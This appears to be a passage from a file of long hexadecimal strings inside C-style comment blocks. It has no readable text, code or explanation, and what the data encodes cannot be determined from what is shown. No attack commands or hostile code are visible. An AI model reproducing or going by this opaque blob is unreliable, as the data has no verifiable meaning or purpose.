d83985c532efb0913fc4d15c52958ee2e59dbb0a19de105dd31d6652b66d520055521a6c99bb9bed17d4b34d94f11e3950958528578ac4574b76fa70a0756421c230e97fe4d68e53e032f64f9059e40f48cf3581db827e7227671f990bf768a56117e7e807cb5ca04b7ce69812db328e2c2d5a72c511da02fe82866cace24a7d0a0c20a34b10ed5abdd19eea8450031b30f7701c20f53e2b2e45fcd369521cd433034fbd5b97364cdfce8e06b608e8684062b691ef33595adf3dfd33c24e71f0552c38444f689fe6e21a0d6401dcbf0e544a517a5e258503aabee172325d7ecca4e436cbd132494ef58bea4a4b4454029fbcd6f525aa948d1889354789bf7b5e8bae9b96da0c16dd4903b10cdd7af40bf2bd196ad1be22504166ca333ce12499e59ad0b10e2e9d4456712ff1695294c8adedfa4ec2bbcdd62af9b58c0c0e8c8f8d8f6d3365a81bac0fb21b3353267ba591524b8ca2b17f3edd72c00b1af728d4610b205426105b0b38d9b7cd81f72a44e6afc67612eb7a1aa5c911d4ced4fd4d45dd87675f147b26f99ec01a7da599bc600d35428de3bb43cf16fe726e018cbd22f9514a242cad4ed7b5851a3*/
/*7257d0abf975a01d1c5cf8f5a82df3bebcfadc580644df73bcbd5a162c778dc2bbba13dc3455fc8bb42b55c4f87ca01a8ce9604645442c84e8cb65812b30bc23e2597adf8f760cb193feb391e8d08b0cfb0308de82f4769977a8a77d9b63854702aee081ccb1fb796f9b237da999c955d44768167eadd20140a1963bd90835804a347d095cafcba1dabadd4f241f5e0eabe48b1cbbfea5c9ea4633f14f787505cc57c3b54babe2b6b2f99a06dd1f54400001fdf81ae3208c3c756941012ca09ba8df0e80bd0521a468bbbf0116cfce2b26038f09de6de5354874da3cbed18a30ad0c270fe84728f8a5bbf55aefa799ac0c3a121ab03569af2ee3bb51821a037e0e8a1baccc8c57a385defd765fe5f271339826af2634c6c1bb77b67d1d0e867b0f7483d3f45410b0ad697a8f1cf3eb8d7fa4c039baa8b1567065d2f4956c006c70e11a9c10e19f84036381460b8f29f19773c939a2699a586f9b51b9a20d411078a37d4e96414fe1bfa39843037a82cf84584c382f16308889aeaa9c42b2de6bb7c2a2e7d37b80b71e03f93fd337c90e1a08b6992516ff7baa30cb79c5b4aa5ab51b488cd95edf7dfb003f4e79df97049cc8048fb80829c697e91bd62e0f8c7c4d45411d96b6c67e3f9a3bf09d40845b86aacb7b1076d398737030fbf92a28ccf065daab6d08de533c6affe1978a96529997ac3e4c7ee4fc068f3bd115434007d1c05ef19cfc568e2ef502529c05b672a0960c0d34590829b4bfed0c783b3c6f536fbd0c584e856fef6eebb65f40ba14520b9fd09301569135371aad7d34264fafeb7a9a0f79b737e716d313b1bb7239faa81908065ae9b73390042b04f2440103730695271783fc0f1e21acbff0d2eb10046a981019598cec0f15791614738b5eb918f843d3906c9d59c9a5ce82f7c9b0098043acab2525065bd7ad72b22d3e1975c1c7b908546a00759552376ea0228f111c20a8b8ff9cba6bd0e9ca273938b0a93261da5646ac18dc85473136744ccce962b9d1deef702d0c5659c48c6215442e92fb22d6b50ac8395deae7d6f997e36b2cf3346a704766ffc2a4b19ab3625a938a1284fe1d57d6bfc3265e463525981f079b231746ea64e151e53a7d0435cfefbfbf4bb038576e4d337a201d79fe2d359039bb074d6ad0cb3f07c68dee5ec435cb18b690b29311e217a812e2e5f79315036b660bbf90b2ff1b1f732a66ee638e6b5987f73f562b05ab556f7316ffceab9b79fa400bd0640a54f71d0504040b1f91a1d99baf8bfb1ede4e8513e0cf27ed5d79350fada4de787779db2fe8908db030dcd673d8d818307c56a51c750524136a5569cc9f4b7431a3f63969c7ec6cb8459edce19c3866cddfd0e0ca9d91331cf223868d24fe85a7034c83207d2604e271001d3d984d7c7caf463453c164c82e71f462be4ea52e783ed060e2fcca4e3b571774404f59dd657c725edff6d59a6dbc0fbe98691b8bdef217f84962e12f738310f012a8c9d4dd07299ad7d36c184adfefe8b17f77c6242a5c8357ffc930fe710f83f89b3431c9322714f4f3c472bebb4d1b825ed2a96c92ce4b7183ef129e24f121afa50fb14549b29f404987085937cbf4bef69da0e801f3a3b8c2b7f5a52fcc7ed323f97c8081450730872a21cc89f878e5d4f2809d6224e941554204add39556afdc10b421af380589be4d4213d0fb30d3230cc8033e7f1806277f3c011d2823f122312cbfe3d9895160f56a228dcfe1368e48c3a8fdac8575f96f22d513e9212a93dbd4b3f293ed60383897036eaf12f570d2b4df4d9100ac696329f1730ace2ad2c332774b4cddf67b3c52899ca65637e5ca9f20a87038513b5658e10322bcb10bc4444731eb361dd08379ca5978ee80c304ed2fd3947ae86cb665fa4eb388965ec2cd2ec77abe19a04178a4bf19f5ad66d19676b13ded7649f52f8532fbe94288de1d733c1f37a943c70eb608c1077cc25d303df41cae5b0d99a5f7719a0a3505db46c20251cd9d0168ce1fc7d68dbcb13bea5d8d858eca6c72e26ce3c54d48ea659eec2f795c0f08a5c809a41a35241c89f52eace54479612fd023be357a553a4c4a21e079fed402c31515ec3f33f6e324d5384484247e56cfdecc0d7b87af4732f636f75e675cbcbda989ecea95d0f782e9ad2e16d4b9fddf660adab10b63ac5737be489739fd41fe2db7d4fa65a85542b4ba87fddaf9e0ba8de22f31fd887787085d0c7a0815a62f92e020ebe45edb494c459d354892b2dffe9520a7f728e813bcdf2d1b36322895b89aae1f901ceebe8cabd8a8095cc923a5e489c6d137eec5b15a1c4f74aa0dfe93e586fe887e26523599798c5629a4dba2d925c03a964ca194c863dbe7beea1c8452e1b9cdc112bdcbae217a5f08f872c76f710a5b8dcdafc214e9d0ccb5db7871a93b4496acc39b5fa896a8451cd14bf03449bee1d8fd8ff5f25e3e70abe9ada5aeddedcc11bb2e6bc44d7b08c2ead523bf9fc04754e6a49ac564b62cf3328826a0845db8fd0528bbb0ff53119916c1a97c34c2ebb75e002f97f6227c1cd0381d43b3ac8f86c684bc3a33cbd5adbb926bc6125c5f3b2dce7a99030273c5acc4b12607d04ee217a4ecb041016c003b146345f55957eda29bdede362ea5e377f5f92d5e52f0d8fafd7bea4aa51dac5b9cc3a174c9928f139e7796a71e8f7a0facb555e5b446168d225366f52359f2951cc4b7d92fcaf52b95af01466eb5c4cb714b16a8f47558ea2d841568621284e1e025662e91eb001edf7c1da70d3445d151598748c5be851dbb18ad138a54f9b3a912424e8e0a1f4e2440d1c9435548052f*/
/*7cfab84e587c7c4e8aa94f840959814e8f4c521395416909f3caa3ad46048684feb4aa24e9b625b6d3ecf158a45e1b2ffa8dbb0403e5719d4b604fd06880d6bac235373609aa6ef9d9b41ae542cde38a37513bd73fd39f437760fc80e06689d7a516471b45003dd91b7fe003a6cb402f4d67f7e515dd5ca6386f2e6f5ef5337050d4fb448f7b73d7ec12d102db53f08fdff356cbd6ea7363fbbbb946bf749be8d3891552961d4cfe66780fe7ce097fbd4f032e25c1dd0ae35d60386de9adea89515f6b799d5d0b512e30bdd053a1992c3d9dddba32ef2e0f517913eb68b7eb08eed2bc6a4af9f2e11177cda5e6df6a71a2edb7d035a7c42d0b1fcd3a72158063bacd7a5265ca98b940c13e2afe3e9df09e0521b198d3def18db6c72ebd90c0fa692d0079404738684802ee9e02bece2d57c47811b805f512332338ae5a8ffa6fba9a7f95e23d961eca4ecbcd72750b7c0eadefbfb2bea6dff758a2772008077ac9cf21ac7c26578a448b2512b6f0007a05ba28535b9e9bafbd81460c4b209fd8957e8dedb110ea3eba041740ae9796f0f2a0f002b98acb1c45182e173c357bf0067c09a88b92ef9f08d1cb5a2ad89723bae32814000d42d82db76899f1c496c151b592000f3e4e898c5f9549251f1283d993c651d0c6ef0523d70e18b408d8969d6b015ae276e0ec247eeb05ab6c290ad63be08d7ff027865ff2ba6b54d78f16585a43d366e6c5d36b2607a9609b94d342b56b43747835e807f382643dfa7cc73ab2517070fdec7accb8d4ebae78d40ea5dbbe0ae1c90e50d74b1482d76e570568b9136d930fc2a34c15f2280bbbca1278ac9dcd50c931b94014237939cd741935bfb6f99b92ee33e69be37b8d74821c82ef65425cc9184384cbe098431d19618603d18b6a1be848eae176aa9a3d5a097c3a17ae8125d7d2d94d4cc54d923d833bca0922c86b1efa91d5f3db27f22eec29bdaac3b4f3eada1bdb787d312db673d51cf76390b8a31aca2b71217c1f32dcb2df4867b91ed8f180bd9e644423fc1cb66271ed8a0b93f146ae3623f6a88fd5f4a33f778939f8ee2592efa2e62023489655b1ed10a526a9486d4cb30ab4691bc5fe127ca4240f58ec165384c9a9a5afdf421550e69fe85cdecae44aa856a69891297979bc717c76b8801bada83c3774d125586b3ad61746021e176983cfb13acf087907ee85f107fcab649f7a6531ec0c6ec0249023775b2e7bf668d2c44041754158e8e1431569de231431358b5581bb6244d575c246392edfc884ae58d24fa64643a7b09f9ef5dc3a3d81f44a597b973a909d02a2909a29ed1e5ddfef4bbbe27efecada4144bfbe3814b03d697c07618a64ea1d9f072fc4c05dbc08c92ba442691977dab428ecf83ef079948864ca7afefbab1a72e51b73e47ef20ea1d033ec577ba185e93db47471ff6c208a5e53df7f051526bc2545157ba8a3e0ed41064c7ef321ef0dd71010098d2150b2724cb29d256287b691027a83d93a52218bf769979504d7c490e730cc8775e78702fe126843dd8c90259e3d06e5cf142f218a3ec8079ec6ede1bcd829506e7f0af6f5cbac0f79331a08a3af78de810bde217d935c90dd11f546a25a4a0d331911a15fd157de37e722328ef36dafd30a7c69f283fb0bbe34ffce39fbe4dde5ca7256acff86afde6176cc4eb289d7735e8e5ae24fe6ee62610443b774b875d0130d05dee399244775955ccfa8a6e2d740b573c529d2d2dbfd650cc12eba53b11971c291fc41a774a22be03ffeb566ef9b5760cbd72f54ac610e8e8964dd9abf3de6e350aaac66560b4d0aec21e9aa3322ee88ce6e6ed7f87e0af7e63f7512faf01405decc87104581fb4606b567d5bc94a4d96e0c03337cde7f692e20f38de1f7c182eab19769d1fd4565cdfe1976dcef91b1bf5103c7c5291e0adb8becf2b2a09eced6eeefcef3966c1275f5141c002821c67ff2624f12f62593812f90724270569c898a4b54a31278e1c014f9fc5950f00aa30bd0007a20c82f4a2c48a3362f3a1ad4046fb578430ebd965bb449e238e38cf227de3bfde239628cd7891ff4be6d609428f38e9ff1dbfa700751169ca5c8e705ed33d112e09b5c0f916778374360ef857ba335dbca36365e07882a9127d1afe2e752e52d30a3b0cf102fea7aa3c64f30606f725d5601ede0a39e4282f20292680098ced8af98c70533c8945a8056e67f364ad4fe1bbf37cae83e382f6638eca90e8a6ffbfa5fa22d38a3cd35b5740b543ebafa17082538266a59dfe0be49b7f2a461d9d4df35534f050e3a27df9d4ff40cbcdcdd8211fd487e36a17845c7522ed95764b664e17e67aa47f632013a496053e39677512c446bae5e855e9c6bc2469fc9a3dffda8907e6900d0fc4ee567893fb791df060f6a11396cfad089fcb9342cbed10209d5a3fdee1908dba6fe94747adb4c10c923673c2f87f6e9822be16b9a56f3be360e67a7e327afae71fbafe4e6b78e00d77b86f734db066995fca3ac3517864d27aaffd2fc97a9bc6845e7bddd1653b38623476819942313ba0a95c136aa75bc41b5de01ea893010e6ca64bc830d7f9cb7842986b312add7bd2da36a2af2fdfbdebb8fe4b264b12a9083a3b0debedf25f66111c69b3d64dcabaf985ef629d3ecc688c190772ea71703f9693d09f1050193a95822584f49c9f3179500c4154ee608729f517d0c7b3ff71c2cf7ef3db398fda9cf19bdc1bfe04a5c94ec90922b921192d5f992099217bcafeaa0a34656b900b2a9b2142753c8cf05452b583f15c8d31add3e3fb88fde9dff6dd69d176e52d1d6a6a57d1a1cbf11644f38*/
/*de99ef28ea9bfa9f659363677d1596d928ae14f3c7b57396515aadd9aa8774cff640106a9b1fd28e8beeeaf41b318f1124d1c1b2b969b8757b23c347f3e1964cc19f3b71f3df5dbc0fc70d42575636cec2a2d356a51e6662777325c5234fc1746272307aa8fcbf1da1ee06b9dde9150edf5f898c571be8d8e6d9909cc6974596584ab8d9c1b597e861743f0cf19ddbeaca9663bafcf2d85549ff85cfd96b85205ae44e4a9f177193ae1f2ff9cbfe17cee913398847bdadc8ca3a0847b556b1ec6cc27948cf5bf2c0cc6ad6b4e82cfdb7f69cfd95b4ad8368b62a138e04451642888f63a704dacf2952ecaf8596e780bbd08b601b3df793913561d9ab2b5f2b0f5b9c8e5624e5bb7f7d874583284df75ee05033be468d0c38a6244f109350eacbae6206583e4e3d9ded4983237b336536b5af09c37d33f6a225591d23312219e0d9f4f58c153d893bc2954eb88b6ee5435796897d6bc1ead5dc60cf527c602ce97e82a4b3b3e458bf9a78e691d80cd10ddd22e4f127e552505fce135780ca2f024244afab89c5d51162e8ffe3eacf60dad89bfe6eeda035e270578bc79e5c2a37cf537558a81d28bbcb8dd892ff7e0d11d7dbdfffd3359ba9e83f6301173bdf31e3505fd2d8a233dd95bd400124e7d2bac06fd17090ffa89e5b09d4a859e15ad4dbecf5ed2d3fd8596f718a71d430ae271660df50ab7b0a4fabe3d26baf00ecc320ff0db2366c4824c9159ca85f10aeccca950ced2d9e0426aaa33dd3035eafdf0415bbb90a50ede7e21fe749d22085fd5132c56567c08ca0830037ccdb8e8b118dda4c9795faff770b147518e5ba68e1e03f1263541833c6b99276eb316e8e302d4005ddac47ae71e9236f97469df06281a4e4d5430109d2f7467c86ed015ee656bec44aebb91ef4af93f2936ff8acdd28113a55f2c2d309f4b0affe5885aaff0c79b1384e3656a082ed4479f1d00f76049d240879adcc67d0ceba6057be615e757fa10d5432237eea166880f9b3fa3b476f68740a41b07261a2e0d69b6c6983763ec86c396a22f3e22146e19987484195f06c1740bdd7938845a68befa8d2733cc632665f2b8333f6a176acf70c60c2b2f2dc3daf0f80808f9caea56d6f2d20de73b26743d42da187e76539e05c42ceeeea0d014bc3cd3bb2366806af6adc654d52cb2f95e2bd17642c955a565aa3d06733209cbd8ca7471db9102aae173a389e32975a675abb20b1e04edb7a498cd1dfc5c14aee12029e808d34bafed639c2561b4c26508dd7f494d192ade29cf07cde18e8f2e6bdc95ad66ce85492dc945a3ec3d2a99d8ce6cc53a2964ac95d80495127e9ce3ccd08d2b1422132cbad04006b1547df63e8760f455be6cb67564f3d920a43c2b211b4225302b689ce73cf71004f8e8e730be27a027833c15622d51f801afbdc1e3c2462080c0dee0a420839525612fb80cb6e32fb2bf4bfab8c094097721ba9b21162a0cb6d64755ae950dc93a56499baa49d6cb65889096d2eb0e97099cca2b937d1ce7e6ae5f0dc4b4ae48642e6a65cc4e2b32e77620a5c5f281dfd04f0e4c31230e087f245eb9f6e9ddbd468bff6239bc2bddd64032f091d1342a056217712ee1cc4f30f5d1f124d59f228de06f11edb707a15672dfee3647fa74b5d248c89f326a7e7905befbb18442d1ea037fc8fdaecaca8e9e50c5730602d30fc63527662ba61c87049defcf0b8c17ff77deb0dded579f1ef1416a2331f285e84c3685a2405df31c0cef63e2fc86b78660b1a895867ba89cab4e1691ca050890c04fb942753289a0dbded01a37fb16ff77f4139325b956c81e6839c968f65166ee3c96da02f9ab67aaec946b8896cc2b987ef32499281f2483dd8fd58bb1627d6b6eef162bf954193ebce9f4061e2542d39d64d6bce3fc86a7b241f6b5cdb18540ac720a36d876925fe60a931a888bc07474630d1f26571805d849e70f6c5eed285489bcb45b441a61693bbc25cb1fe34f628d754f96b5776a50b427ebd19faad3f408cbaf7614fd67d369cc3428f0fb28a264c60cc9378fadebf239b30b134f2e51f16a6cf0f836f27d3544546601d3fcf845fc48bde751f65311b8cba28fa6f81b76adb915713380c23e3fce12576251394fbef970a98c2aa09096d8be90a2965d5dda2cb4561d0aecbdd757945446d6831f343a16e2be093f10f2e28ee9fd41f963d35a03f619bb3365a06e7475f9f4c03eb4d4ad014a562472efccf2c24fa100b6f09464957810d4cca861b7fc60e20ab7bd135c695f6e634bee90b43d3d61ab3b767d783bf6fe3ed58879fa3b0b09ab09495e9b0132c6a819f8b0269ab1f3fe4be1aaab9f80abe9d079715147ca2a30a80265c1a7eedb3475f2bf8bc775eb22a3d3725c57e334a5fe5bdc32b1d3d78fdf575975104fee76d62296f9abbed5bfd8a26a50da67b91cff37031c1ff5cf4ab8722a7029b6127a55a7bb934fb95734008d2bfaae2dcf12244653d64836b9e7c72494d9d0f69abef8f3845062eecbb001fc559e250dee3d1c39dd4a03b45b52ad6fefc9007aae6c017b19c8a31425fb8332ffa84afecb69347c7c233a3ba8bd31bc2af1d3218bf9c0a1aa8f71562632a0e79a937bb6050a1defb214d455e8e65a308437e56450ae94e736d39972ed44e2f55c69d8bccb43331eb75b3a06a7f8b1089afbf64ba3d1b8b85bc98b2875914f86eccdc53ff8dc9e95ef04d17865892a625dbb30eb5696b136781405d97209e1b21b9617c393b821a1a456d626d76a2da4219bb3beef1414f175fc1e13585c9687bff6021233ff4d8ef4ccf8dac40389de0604377dbb7eb39d22cd0*/
/*f36f1324e2e96391e447e3b08daf420e4625052666e240be7b0102b9b165c1712bd0838429e0a55eb64ba4b0bef9960f5efc58ae919e63a8151c7ca4ebc2a93e6c71e4bed4f71f0c79cc2756b989fae9c4f21154c24f1e9742a498f9502d84047d7f817863aed8b2afc8c3ef92e2fe8aad36f5cf7a9379d2fd3d3313a215d154ba4746592b9b58219c13bf1e485050e1e9233cdf60237b72cf64a372a9c79488c5b73c9e70ea65da4992173cc39547af349742282061c54cd897e5adae59b55fb3eba5b5ff0f9c4037d9f843b465b013fef4cb1fc02c215e885bcf0b59a9e8a65003ae25af0546591d8122c8454bbe53cbfac9a27a692f6677edec3d6bda7dbe94544e44a41b3ceafb75f122f6236261995fb9d91d6e9aa343974e9219af9f2d10e01bdbeace17020249df61774f2cb507f5581f0267f39313c6de15396919d225b24c17f74f0459c5790918d023acd5ccbc62ce97db8997b43b6563ddbd7787a39593f49c5084f84ad75af35a38f4a2e5cddf40340443cfe91fcefb214b175f673987649441b84da2b8001897f66d29f419e0a25feb851985d67ee1d33d8a39b3d934061398584de4d9c357d13d83b625f78ea6572687662b94886e5de88b009415a9c5ea523fc9e9e607970ba0517490b36ea2fa510959d42cb57b8e1d496495b40ce6cda87d231e4259608b860594312874bca218c002fa355c218dbb0fd680498395795d5d8a998bcd5d54293126e5cfd8dcaa4066b0d91860d9eee5bd1470564db2c06b288d0d2694f7257f5622b30d71dc1be5811782ac36e3f1f1129b2798264bad6d01fa0325aff68a050e13eb7bae29af040a399ce4ba0e7abe60b360b996d0d9848483f9a5cc800a51adfbb7746c63adfe8af6cacbfc2b038ba8dd860aa078f7e7dc9ce12a0660a2f246dd7672e3af5d9cdf414342decd20545b1e14a4a9990cc84fe6a330a2b8f41a0edaf13ce25c87ced6044cda521489dcd39bff6f0516b11a2d67dc3d5bd054144aca1cf7ca2d93eb07d3816c6ab5b663ae93dd89d442af90835f2c47ace4b7fe5cf4e751c357553509074f583c5715e571a6f95647167d54d35c0e99d8b6da45e1d7aa74970c749f9a8984ed831481ccb4d67cfa2f99ec69a8d92aa08b10c71a6fb9bb2694caa46113535282a0b887c530a76fc68bb012f7a9d062cfc6d8395eb0e79e310b99edf6ae1b4f3558d4f3c25ca7398373f834d946c7bed15347b1a69b2116ba0d9078e2184ad4d652e863870f15648f9baf2321664c985c92787526bb968cf753b242fbabd968c21387ef221920bba509511ec7c4d7552156b32200dd457605152981b56421efdd84241db132515d69034d509da80f4684a05fc09487b82a054cc7de545837a67493649698d6642ea4f2788e7043926d2369215e2170c5ae82a813c68bd38221d744548d7d1151e4c2e0b5393bb141d6b0d829de558f07abac2ea5035f76935e5dc8f2d0a7bfb6f817f272439e9cfc193cd6a0a0213034e6fcaac87d9fe4a9bffb8547eedff59e23247dca2c8736bb44a36ba24256e8327111395ad053b05c3ef109f82805758ee3901adb82b086b5721366b596a463bf25976407f847535f72b413c170713ff56a2085821775526653c462806351b29a688008fcf0655aad3d6d63e2e2504e6a527a0b4fae50754524cea5e47042d8ca003cfef99e989f2b355a7aec80e1ebafa41b75021b475ef2f13136e283f7b73bf2f05d6e4c9f51ce64a2271e7e0aa77680af6733da78492fc774e392c0e1aba3ee60728442da09e4d3b14e4757b0b2b98c8c3974433561474026dff57d53a64a4279e7ae143bfa56d4194470d19bdab14d9bed774cb3b4e97ca0dba7c6e60f3f10b913f44f4f47f8201d9641c5b3a7811786c2221e2d1324532ec3800f7a9ad7bf915b8ab6855f5c7ed9b03d9325ac5a4c8602270c11a4d4485d0c6b8501e05162bce5fa53f236fb8e2555703434f6cd7ab1aa3e17d6fdee7ec594958ce7a9d63a9789cbf3ce44e763db6faaa0c1ec07db8c6e31f5b90f434f5d9d62fcce4735bb8d1746f2fbe7bee5b52f1daaec63a9d3bca45e075549eb6e2c40e5553928988f6932f3820b049ba886e999e71a1e576e5718ab016e097b0f96aaa479460a3305584812c64c8096d3bbcac64df0239bfbb421fc4e7a9c5a970c23c5b5b1f07cb8be8868b664bab8671cdd44215229c4882c545a79b817d629de21678c2d699a26c868aa6e5531f3258cd7956582e655e053da3972a3b0c7d62c6de9c4062c3ea23d13f7038bf25e93e1cb78eed5a900067d721312f9e24a75a1e80d85f52d4d83c9de213f2bb46b4f07a1b886adc460eabcd91dfb906f68c9bfd8237da86e6584f5cfe81a12ce7318fe8c99f18757f523d42d7d3e8f7403a4b78d0eccd44bc971352b1076e56e1449fa9c3252544a4a87441f3eeb0e2c84c54837f0683b98bc660bd9a4e27b3e86f631addfa1f08dcb5a526c9f9c9e1f5a61f88461e5277d5f0332d1c2db50b04c3f460d6a1713c57e603bf26b660a73612f930a27ce16f1c0c72cc82ea99f32bb4a17afbe317176a2052cdee4b9f0ab73e1aed96f472e33cf2200b54e36a37feecf1a2fc71bb88f503432cfdbb111a527d5f8efc5fb9d25574574c887ec1ad0a4d10faf3062592a16858e549f497ca66acfcad37f88bd83195759cdad9f39c3a3c75f2db831f310d24b43b99c473dc564af1d9588d9de8af332c102b54d12fa12356dee1faa69fa0a347143d49cf418073590a40af6a9867528775ed5fa385d6b762401ff15f854c67e4d7498d25f9970ef1dbc22f917a158*/
/*f40bc20bb4a3a659dff22b89a8925fefabbb3a875f2948185a2474c2a7cf278075343672e97747377e0850b8dabb66d3ebecab2789d6b4b6d92111e200b712bd8d6d96cb60c6ce0c6c3eb56fbd5fef3ddaf20812e76b779702cdf62176298369c93bcd21db0c3e94a9e4137b6fe9e899c61e03078190e163d129f9b7e7456f1820a4cb5bb4d5043b6cd98f25f48724841ded1bba9f0aa04519bcb5f6f9ff7ba6f197f6141ed37e25cad4d79516ffe5c992fd47f900bd23cdec5e252f46443ffb8d7fe7e8396b5395c5280f1b659560345940dba03eb6608057b3bab35a06a1bc010b602106bcb56206764f704280aa59d6e5a093573bf941e301b8a95e4c54124ea48e44af3df54c016952179a42762d68666f2247ae855f287eda89e8dc93430bcac514129de8916426daa8a8f0d1d50fb30f0ae5b381231bc928c2b9438e033e56b1c58b5ab9e52c6c4a77553936989c3961c6d7a96ce7e326053902c2e86f2890aa2ecb342b897fb11a6fa3ce10114ef0c0296ffb26fedd331a226d1decdefc4b69493a18f251d13691061444c34cbe860b21e396df2d302ab4b965e227ce94c5e3a1dd47a585b215453b09e3c163d60bf9bf31cf76057b0ce8e88d0ab5e1e0b03119210ee5f5f12987d6722f41db92f740d46a0a71ffe210f8d4925137d7b03ae58ab6f3b8b440ce484a6bbdc91a228c448475d93520cb9ae4b554b751ae4cbfd67f27d8aafcef3b0e6816ed44a602a0f193508230c13f1e2a23e5d8eca6a0e02746e6a228f4fc26b59284585966ba6d72870a0cdd96e73588f09dd5e005e38fa0f5fd873b67d0b87c25032bfb04f230b4c22983fcd7e9848267e5cd2fb3f963b05c7ab3b710d5850bbc77619b46dc88eb70d1818e5a555e27994981a05ce707f1eafee7629cf82c591c0332c939c1357aa537d68c35ac2d7f067c6886b25ff0fe7b3a7f5a940e7fdc8ba1713bad4a90288cd912c55caa99df066234208f2d2de545ba9463d806bdfde2bff2f17f18e2e7cc0c7caba107104752b5be2a3ac10ed4a1e87c669cec0fb2e151040982978bae8e27c141e8f170b3c74599244c1c1d98e615a72383c4fc2538b12fb417891bd46129cd7baad05f6d5835ef9d60a8ed5cb7310aedc5d9705aa3510554eefe7e6bc6d958ca5467064807cebb3650928989a0dc815877704e8aa16ac53b208aaf5235cc039acbad48a1670ec5ad84ba4b68abd88c3f86a7e6ed92aa84050beca849f03689c695168edaa8dec15e176bac3f6d74e1464257811dd392d56fbca39aeb3afc4a5694882669c266f433b30b57878a429467aeeb07310c7883f6fcf20cc3bcf45aac6993125ddcdf3c0105a13e060ddec72035ea14e38d58732950ff1fd26c55e1c5f5920e0f71100bc6c8bea1762abee8bed9ccbcf09d7bbdf11b4155504b4544e21ead98fcbbb95e3aed561143a295610ad28bc067d439af3f60c6f313edbc1f03ad83a8276acc1b3cb6b706fada21bd752a2c4650b73be817c713e4a06e40ad4a7791ca30241bf9d75a7a83fe2e33ddf3dc7040bcd9514c6b71917b518b96468ad6b48c1429f30c287899aadfa4977dc7b426f71a34a8736720b10b5d0a2fbc1d8e79bf75cf22076bf1c46bd3ef0fa6a145443546727bbab787600feda76a1b5d638ae299f85f06483d57e3e9969e698c4af4ef991a0f763c069d2dd228981f88cf9ea617b55ef328369c081438a1407e710f834d2d86b9d99233a278cb55621c45794407a2d15a6bc20e0dd79b16ef6adcd3f95796b46ad640c65f014da3e92ee4c1694d9d247dec088b478694f73a46a3c24f29f3827d1469ade7f2ec7cdf53c74596b0a1ed955717fff913dc37f852582d82a86b6f4d44b1acfb71691f0e4f1b15407c733117aa21561d7a3e4a480321b5b5e1cda3f0df11bc3960e37722fddab8e6149468a7e4ebeac54a92d45486bcd6d32a5d6c6ec79ee3a0936f087c4c0862638b270b8f27d1b3742e9baa107d7bfbaf4def96b8a29e26d009aac469e329da473467d8143d1d19c18ab97a5e677705d4eff7d0b0293883b14b2327a3a04e43434558adc9ec1632ed60567c527973cb0e25389d6f1249531caaf921d06dd45a3b0adc9e83eb0e2358777520cc139d41df321ef1f909bf9aead0c4ab2a026229e65d557c8a1e87ef6e2578b5e723674f228bebafe8d8e95ac3e29497e600ac7284c216a26d5a9ed02a883a73f89fb64c878472292de15aaf1de6287b5a26a263578427c8fad0990879a7aff8986d4638821e78e710555c7ab922f78b128effb9a146c79f4a49f9e976129249f48ec41b1c10659c685cd3814641b40decf18d09bd3bddff8fb32edc7f97fc89834d9fd8c72b5cd62441b59f2d4eb813838a56b60b1371bd5a7268ec28d7ed6abe268cd3da476f208d5b41ab946ada7509f29d869fff9246755e85f0b5ed7f3b9b79940d68546bfd1a6bb2ed8e52aa6b4d79bf98f70d8f6ec149ef91521fbffd3cbf504f7bfd0fb83c113248c4ef161dbbbb80c340339a940245c3cb678993830dd4d43fcf6c0d4deba5eba9068f1ff016ecc517f5dcdbaeb550d47f0a9a7ab99e0885c0d796f840a63522859ee48a60c45f8167fd290fe864cfc1aca72f35be885c591d91563a51af74a3c4b5a9f456fc102e03e551173424396d60a596e7f2b0b48b86a64564dfae2a90ea2429891bc743672f3ee7d6447d734b0bc400c51164e6ac01756928df6fca1134df77757fc9391b3629e0e87dd0a9094096170ae620a509a9567bd6b04af048d894c7dc126ad002c27f10baba9c25adf1c7fabc212ab76ad47ce78ff408618f*/
/*b7d69ae75f2699832be4e62876faca13eab3f6926c88acfa15a115887175b5f73d0e5d072f66ddb63e8a32138d199a1b87e11df811c6112f070e21e5f7b2168e955fcc8948e8464a187d47510a04f1770312fa57cbccb3051462dcf708395531071658168b04d8e92bf7f4c651f7520477daa9f14f18eff96e162c50f51ba7bb72cc7936b4092010f3f5244841784d0d3bf405d7c4313237491aed9586e24aeeae234cd0750dbcf967e7afeb3b090e1f388512758f4b7719132698d86216f8a295e0e15ba50901b92b1eb3a74db5857fe8b40001afc075922727d34993272b8d3a3da8010ced5fb3daab702172816b98a24e7f20fd3898e8603caf8b525342ba6cf05547f74f4af40ef20225a4aa196151591009558d7891e695092023f602afdefee1bec4603cabdea38428892fd4677ca0f6e1b96368bf5adf58688fa90583b7100291ecaaa38e601c46d0caa6b7ae207edbed740caf83908829a6747151bf0948251f29c5147b67e892e3db811a30d0db426251690edf568c60fa7d3583dcd9ea92e20102785f766e2f66734be89234c6ed0644eb3304c0c41ad32fd9f4bf63ba1bff013f74576c889ff2e407cb28ca56425efff1caf31be95a8037fec86691d2b74aa510c78ef22feeee85fcc75b22e372f520bca5c064b95121e4ae24df4a500ef15f2d4b1d2ec3abdca7939155530aa3f6c175c5b58ffa12d7d895854dbd11724bd44f3fae41e0d0c3a512d1c2ef1a36e24a6e7a032c5b0bd3bb72155927308eb9c6c817ecff9e5aa2eaba1145fd006d38100841b02b350fb4d579d44bb032ff16b1fe7c49f752b494ba4c0587c2ddd297d2bb25815712bb044b4e309a28ceb229835d46d7735c251e63645db5e01d349a28401a7f60a3cbb1fbbd8a1f6c84336c417dd178bb1bb57153b0f31116da9f27987226f3c1e65131919e3e79b9481911723a04ba877f243e49a965a6024f649448fbbfe6ecf011da3735d3b57b19d1b8b18a84058ad0a804ee981d76108a7cbabae13f4b63d529073c0febaf75b1dd44e89de398ce8c1239c28aab7e5d7e702d934fd56bd26bab514faff3e0d4014321b35faa9b052c634a2699e3394b280886854dbf198b984538b1bf17c1df05f7a30b00522d859c85138dc22293286b149456e7826fa43804e127d3fb888918654d4add3d9adeb3e824bc64899be40bbf979dfaedc06b73a6afdeee7e3bb7cbf364e75189ccb54ab115c1d4cfbfcecbd8d5ada5649085f5ec25df846099bd60940ec00fcd0a4379ba07e6e2904a9815fc9c5936a780b7a611e460ecc319532fda691ef3ecd7aeffc56fe198d6a066b430eebc32706af805394d248fdfe12d85d68eb35f9c9fc830b399f739de9ad7cb7c2c649ed1e0c2635c7b00a79d4b7df940a68a871e04f77a02fb27b797428ac60cfc91ab1bdb26776734abdef6402fa2e7da5ac19d61f3e0d55b5b20fc5efa0a0438d9a56eb1cc927e926b8cfeb3436de08a24fccc0c1a4e4150634d11385191050999a642356c2fecf623baecac4395942f705c396a3ca3f1